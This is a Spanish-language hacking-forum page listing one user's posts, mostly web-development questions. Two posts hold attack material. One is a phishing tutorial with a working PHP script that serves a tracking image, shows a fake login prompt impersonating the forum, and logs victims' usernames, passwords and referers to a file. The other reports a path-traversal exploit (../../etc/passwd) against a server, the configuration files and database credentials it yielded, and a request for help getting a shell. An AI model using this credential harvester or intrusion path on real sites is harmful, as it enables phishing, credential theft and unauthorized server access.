elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Temas
Páginas: [1]
1  Programación / Desarrollo Web / Cuales son las mejores tecnicas para website encargado de servir videos online? en: 24 Agosto 2012, 22:48 pm
Hola comunidad,

Actualmente estoy empezando a desarrollar un website en perl (catalyst) que se va a encargar de mostrar videos online (usando un reproductor flash o html5 según el caso) y me gustaría escuchar comentarios de ustedes de cuales creen que son las mejores técnicas que se pueden usar para obtener el mejor resultado del sistema.

Por ejemplo, imprimimos el contenido del video completo? o lo leemos por chunks de 4k o 8k?
Algún tuning al servidor? Apache vs lighttpd vs nginx?
Alguien conoce algún libro que hable de servicios de video online?

Espero que la pregunta no sea lo suficientemente amplia como para ser un off topic, pero mas que todo quería escuchar sugerencias y comentarios de ustedes si ya han hecho algún proyecto similar!

Saludos
2  Seguridad Informática / Nivel Web / Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial] en: 9 Marzo 2012, 21:17 pm
Buenas, hoy quisiera compartir con ustedes un tipo de vulnerabilidad, que aunque no es nueva puede afectar una muy buena cantidad de sitios web actualmente.

Primero comencemos por conocer, que es la autenticación por HTTP básica  o HTTP Basic Authentication?

HTTP basic Authentication es un protocolo de autenticación de usuarios a través de HTTP, que por definición es un método inseguro (A menos que se combine con SSL/TLS) usado a travez de navegadores web o similares hacia un servidor web. Según el RFC "la mayor cantidad de riesgos no se encuentran en el protocolo sino en la manera en que es aplicado y en sus políticas de uso".

Para usar este método de autenticación hay que enviar un header con 401 Unauthorized junto con WWW-Authenticate para de esta manera solicitar al cliente que escriba un usuario y contraseña para acceder al servicio. El navegador responde en la directiva Authorization con el usuario y el password codificados en base64. Un ejemplo : miUsuario:miPassword = bWlVc3VhcmlvOm1pUGFzc3dvcmQ=

Un campo que es necesario para que el protocolo funcione es el de realm, este campo proporciona al cliente, un mensaje del servidor que pide la autorización. Este campo puede ser editado para colocar cualquier información que el servidor quiere que el usuario lea, en nuestro caso colocaremos en este campo un mensaje de phishing.

Por ejemplo, aquí tenemos una cabecera de una respuesta de HTTP que permite mostrar una imagen y también la creación de un PopUP preguntando para el usuario su login y su contraseña junto con un mensaje personalizado para el foro de ElHacker.net:

Código
  1. Status=Unauthorized - 401
  2. Age=0
  3. Cache-Control=no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  4. Content-Type=image/png
  5. Date=Fri, 09 Mar 2012 19:14:43 GMT
  6. Pragma=no-cache
  7. Server=nginx/1.0.11
  8. Via=1.1 varnish
  9. WWW-Authenticate=Basic realm="Enhorabuena! Elhacker.net está probando su nueva plataforma. Si quieres participar en la versión Beta del foro, por favor introduce tus datos."
  10. X-Powered-By=PHP/5.3.2-1ubuntu4.10
  11. X-Varnish=1621342107
  12. Content-Length=115
  13. Connection=keep-alive
  14.  

De esta manera si el usuario coloca este link en una imagen, por ejemplo, se procesaría primero el PopUP y luego mostraría una imagen en png. Así el usuario común no sospecharía de donde realmente vino ese mensaje y si es legitimo o no.

Para no caer en esta trampa se pueden observar el estado de los headers de HTTP a través de plugins o proxys, yo particularmente recomiendo usar Tamper Data o Live HTTP headers para firefox.

Una de las características de seguridad aplicadas junto con este protocolo es mostrar la dirección del host que hizo la petición, junto con el mensaje personalizado. Quedando así en navegadores Firefox y Chromium :

Firefox 10.0.2


Chromium 6.0.472.63

*Update:
Actualmente Chome 17.0.963.78 m Windows y Chromium 19.0.1066.0 Windows no parecen ser vulnerables.
Aqui esta el link en que los desemvolvedores de Chromium explican a un usuario que cross-domain HTTP authentication fue deshabilitada como defensa al phishing en los alrededores de agosto de 2011 http://code.google.com/p/chromium/issues/detail?id=91814.
IE 9.0.8112 es vulnerable con una linda cajita de mensajes que hasta imagen tiene.

Que a pesar de que este nombre de host no puede ser bypasseado fácilmente, el usuario puede ser enganado para pasar por alto el origen del mensaje si la petición la hace un servidor con un nombre parecido al foro victima, por ejemplo elHackerr.net en vez de elHacker.net. Con solo cambiar una letra ya los usuarios despistados confiarían en la autenticidad del mensaje.

Para probar esta "vulnerabilidad" voy a colocar una imagen con el POC dentro de este mensaje, que probablemente les aparecerá a cualquiera que abra este post, por favor esto es solo de prueba y no coloquen sus contraseñas y usuarios de verdad. Si el staff de ElHacker.net me pide retirar el mensaje con mucho gusto lo haré.

Como solventar este problema?
Se pudiera restringir colocar imagenes que contengan nombres de tipo de archivos diferentes a *.png o *.gif, pero eso fácilmente puede ser editado por el servidor en el que se aloja el script usando mod_rewrite de apache. Aquí hay un link con un ejemplo de eso http://bit.ly/wcjFO4.

También se pudiera prohibir todos los links de un host diferente al del foro, o colocar alguna especie de proxy para cada imagen o link que antes de que sea mostrado, pase primero por un filtro.

Cuales otras soluciones se les ocurre?

Para mas información aquí esta el link a el RFC de HTTP Authentication http://www.ietf.org/rfc/rfc2617.txt y el link del documento de php que explica como hacer funcionar este protocolo en ese lenguaje de programación http://php.net/manual/en/features.http-auth.php.

Update (04/05/2012):
El usuario 0x5d creo un post con explicando tambien esta vulnerabilidad en http://www.portalhacker.net/index.php?topic=118854.0. (17 Octubre 2010)

Y como no puede faltar, adjunto el código del mensaje que loguea las respuestas de los usuarios en un archivo html fácil de leer (También fácilmente puede ser colocado dentro de una base de datos para mejor acceso):

Código
  1. <?php
  2. /*
  3. * Creas una imagen de 1x1, envias la imagen y dependiendo de las reglas que escojas
  4. * envias tambien un header con autenticacion http basica, y los resultados se
  5. * guardan dentro de un archivo de texto en el servidor.
  6. */
  7. $im = imagecreate(1, 1);
  8. $bg = imagecolorallocate($im, 255, 255, 255);
  9. $textcolor = imagecolorallocate($im, 100, 180, 10);
  10.  
  11. header('Content-type: image/png');
  12. header("Cache-Control: no-store, no-cache, must-revalidate");
  13. header("Cache-Control: post-check=0, pre-check=0", false);
  14. header("Pragma: no-cache");
  15.  
  16. imagepng($im);
  17.  
  18. $randomNumber = rand(0 , 100);
  19. //if($randomNumber < 10){
  20. loadAuth();
  21. //}
  22.  
  23. function loadAuth(){
  24. $targetFile = "log.html";
  25. $realm = "Enhorabuena! Elhacker.net está probando su nueva plataforma. Si quieres participar en la versión Beta del foro, por favor introduce tus datos.";
  26. //http://php.net/manual/en/features.http-auth.php
  27. //http://www.ietf.org/rfc/rfc2617.txt
  28. if(empty($_SERVER['PHP_AUTH_USER'])){
  29. header('HTTP/1.0 401 Unauthorized');
  30. header("WWW-Authenticate: Basic realm=\"".$realm."\"");
  31. die('Por favor, intente nuevamente.');
  32. }
  33. else{
  34. file_put_contents($targetFile, "<span style=\"font-weight:bold; color:red;\">".date("Y:m:d H:i")."</span><br>", FILE_APPEND);
  35. file_put_contents($targetFile, "<span style=\"font-weight:bold;\">Usuario = </span>".$_SERVER['PHP_AUTH_USER']."<br><span style=\"font-weight:bold;\">Password = </span>".$_SERVER['PHP_AUTH_PW']."<br><span style=\"font-weight:bold;\">Referer = </span>".$_SERVER['HTTP_REFERER']."<br>", FILE_APPEND);
  36.  
  37. }
  38. }
  39. ?>

Esta es la imagen maliciosa!! []
3  Seguridad Informática / Nivel Web / Infiltrar servidor a travez de bug en PHP. Encontre datos de DB ahora que sigue? en: 17 Octubre 2011, 14:18 pm
Buenas amigos,

Haciendo auditoria a un servidor me encontré con un script en php, que se usa para cargar dinámicamente archivos de javascript, el cual un bug de seguridad.

Este no validaba si el usuario colocaba una URL mal formada con retornos en el path lo cual me permitía ver cualquier archivo en el servidor que tuviera permisos generales o del usuario que corre apache. Lo explote de la siguiente manera : www.siteVulnerable.com/images/loader.php?x=../../../../../../../etc/passwd

El Script es el siguiente :

Código:
<?php
$cache = (isset($_GET['cache']))? intval($_GET['cache']) : TRUE;
$LF = "\n";
$output = '';
$files = explode(',', $_GET['X']);
foreach ($files as $file) {
$filepath = realpath('./'.$file);
$output .= $LF.@file_get_contents($filepath);
}
if (!empty($output)) {
# Remove spaces
$output = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $output);
$output = str_replace(array("\r\n", "\r", "\n", "\t", '', '', ''), '', $output);
# Send HTTP headersheader('Content-Type: text/css');
if ($cache) {
header('Pragma: public');
header('Cache-Control: max-age=31536000');
header('Last-Modified: Thu, 28 Jan 2010 22:31:25 GMT');
header('Expires: '.gmdate('D, d M Y H:i:s', time()+31536000).' GMT');
header('ETag: "'.md5($output).'"');} else {header('Pragma: no-cache');
header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
header('Expires: 0');
}
# Output file(s)
contentsob_start('ob_gzhandler');
echo $output;ob_end_flush();
}
else {
header('HTTP/1.0 404 Not Found');
header('Expires: 0');
header('Pragma: no-cache');
header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
}
exit;
?>

Logre detectar que tipo de sistema para CMS usaban, por cierto fue algo difícil ya que modificaron mucho todo el sistema, aparte de que era uno algo desconocido. Tambien logre ver los usuarios (mas no sus contrasenas ya que usaban shadow). Pero si logre ver el archivo de configuracion a la base de datos: usuario, pass, nombre de la db y direccion. El problema es que no tiene puerto abierto para acceder a la base de datos de forma remota. Y no he podido reventar ese codigo php para ejecutar algun comando o levantarme una shell dentro del sistema.

En resumen:
El sistema usado es : Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch Server (Encontrado por errores que da apache)
Las puertas abiertas son: 21 y 80 (ftp y web)
Datos que tengo : /etc/passwd, /etc/hosts, default (de apache), httpd.conf, user y pass de la base de datos.

De aqui, y con estos datos, que puedo hacer? Es un camino sin salida?
 :silbar:
4  Seguridad Informática / Nivel Web / Problemas con una sql inyection! en: 17 Septiembre 2011, 22:28 pm
...
5  Seguridad Informática / Seguridad / Certificados en el area de seguridad. en: 29 Agosto 2011, 22:57 pm
Que tal comunidad!, a los que ya tenemos cierto nivel o experiencia en el área de seguridad, pero todavía estamos 'nuevos' creo que nos caería bien algún certificado que sirva de base para un buen currículum. Se que hay muchos certificados por ahí pero quisiera saber cuales son los recomendados por la comunidad.

De preferencia online para que cualquier persona sin importar el país lo pueda sacar!

Yo estuve viendo el de CEH, de Ethical Hackers, que opinan de ese?

Saludos
6  Seguridad Informática / WarZone / Reto = Misc_ZeroDay, Todavia se puede realizar? en: 10 Mayo 2011, 19:05 pm
Hola compañeros,

El reto Misc_ZeroDay  todavía se puede realizar? Hotmail ya corrigió el error o es posible todavía?

Saludos ;D
7  Programación / Desarrollo Web / Duda en Transmision segura de datos entre JSP [RESUELTO] en: 9 Mayo 2011, 18:58 pm
Hola amigos,
Estoy teniendo una duda a la hora de transmitir datos entre una pagina JSP y otra. A grandes rasgos tengo una pagina A que recibe de otra un order_id. Y esta pagina A tiene un formulario que se necesita enviar a una pagina B junto con el order_id recibido.

Se que se puede usar un textbox hidden para la order_id y pasar esos parámetros a través de POST y GET, pero esos pueden ser fácilmente editables por el cliente mediante editores de cabeceras http como tamper_data.

El uso de variables de sesión no seria lo mas optimo ya que no me permitiría hacer varias consultas al mismo tiempo. (Esto es un ecommerce modificado para que trabaje con un pasarela de pagos particular).

Que me recomiendan para este enfoque?
Saludos. ;D


Solución recomendada:

Voy a tomar el enfoque de crear una nueva sesión cuando el usuario llegue a la pagina A y le adiciono a la sesión el parámetro que necesito que no sea modificado. Luego por un campo hidden paso el ID de la sesión para que luego sea leída por la pagina B. Así esos datos no quedan estáticos!.

Que tal les parece esta solución?
8  Programación / Desarrollo Web / Duda con Creación dinamica de PDF en entorno web JAVA con Itext en: 22 Abril 2011, 07:31 am
Buenos días amigos, me he visto en la necesidad de que en mi sitio de e-commerce (Tienda online) se encuentre la opción de imprimir la "factura" o "comprobante" de la compra, así como la capacidad de guardar esa factura en formato PDF.

Estoy utilizando java web para esto, y conseguí una buena y sencilla librería llamada Itext que me permite la creación de los PDF.

Mi pregunta es, ¿Cual seria la manera mas óptima de presentar el PDF a los usuarios?. Estaba pensando en crear el PDF en memoria y mostrárselo al usuario directamente, esto a travez de un servlet que reciba los parámetros de la factura (Nombre, productos, fecha, etc) por GET, POST, o a travez de una variable de sesión (Preferiblemente una variable sesión ya que así me quitaría el dolor de cabeza de algún tipo de mal uso del servlet si se le pasan valores incorrectos por GET o POST), para luego crear el PDF y mostrárselo al usuario. Quisiera evitar en lo posible crear los documentos dentro de algún directorio en el servidor ya que tendría que crear alguna especie de cron para cada cierto tiempo eliminarlos despues de un tiempo específico.

Quisiera saber que opinan ustedes de esta manera de realizarlo, o si existe un mejor enfoque.

Muchisimas gracias!  ;)

PD: Si necesitan que les de mas información o si no se entiende bien la pregunta o el problema por favor avisenme para modificar el tema. Me parece raro que ya mas de 100 personas vean el tema y no opinen nada!
9  Programación / Java / Enviar datos de un formulario de una pagina JSP a una clase. en: 23 Enero 2011, 01:19 am
Hola amigos, quisiera que me ayudaran con lo siguiente.
Estoy desarrollando una aplicación en un framework llamado Opentaps. Y me esta dando problemas el manejador de eventos en java así que quisiera llamar a mi clase directamente sin intervencion del framework.
Tengo una pagina en JSP que posee un formulario y una clase que trabaja con la información recibida por este.
Como seria la mejor manera de comunicarlos ? A travéz de un bean? Si pudieran dar un ejemplo mucho mejor!.

Saludos y gracias!  ;)
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines